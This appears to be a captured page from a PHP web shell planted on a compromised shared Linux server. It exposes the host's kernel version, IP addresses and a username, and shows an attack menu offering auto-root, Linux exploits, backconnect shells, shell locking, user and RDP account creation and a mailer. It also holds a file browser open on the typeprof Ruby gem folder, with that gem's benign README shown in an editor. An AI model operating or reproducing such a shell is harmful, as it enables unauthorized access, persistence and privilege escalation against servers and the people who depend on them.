Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
gems /
3.0.0 /
gems /
typeprof-0.12.0 /
[ HOME SHELL ]
Name
Size
Permission
Action
doc
[ DIR ]
drwxr-xr-x
exe
[ DIR ]
drwxr-xr-x
lib
[ DIR ]
drwxr-xr-x
smoke
[ DIR ]
drwxr-xr-x
testbed
[ DIR ]
drwxr-xr-x
tools
[ DIR ]
drwxr-xr-x
Gemfile
235
B
-rw-r--r--
Gemfile.lock
628
B
-rw-r--r--
LICENSE
1.05
KB
-rw-r--r--
README.md
513
B
-rw-r--r--
Rakefile
198
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
# TypeProf: A type analysis tool for Ruby code based on abstract interpretation ## Synopsis ```sh gem install typeprof typeprof app.rb ``` ## Demo ```rb # test.rb def foo(x) if x > 10 x.to_s else nil end end foo(42) ``` ``` $ typeprof test.rb # Classes class Object def foo : (Integer) -> String? end ``` ## Documentation [English](doc/doc.md) / [日本語](doc/doc.ja.md) ## Playground You can try typeprof gem on the Web via the URL below. https://mame.github.io/typeprof-playground/
Close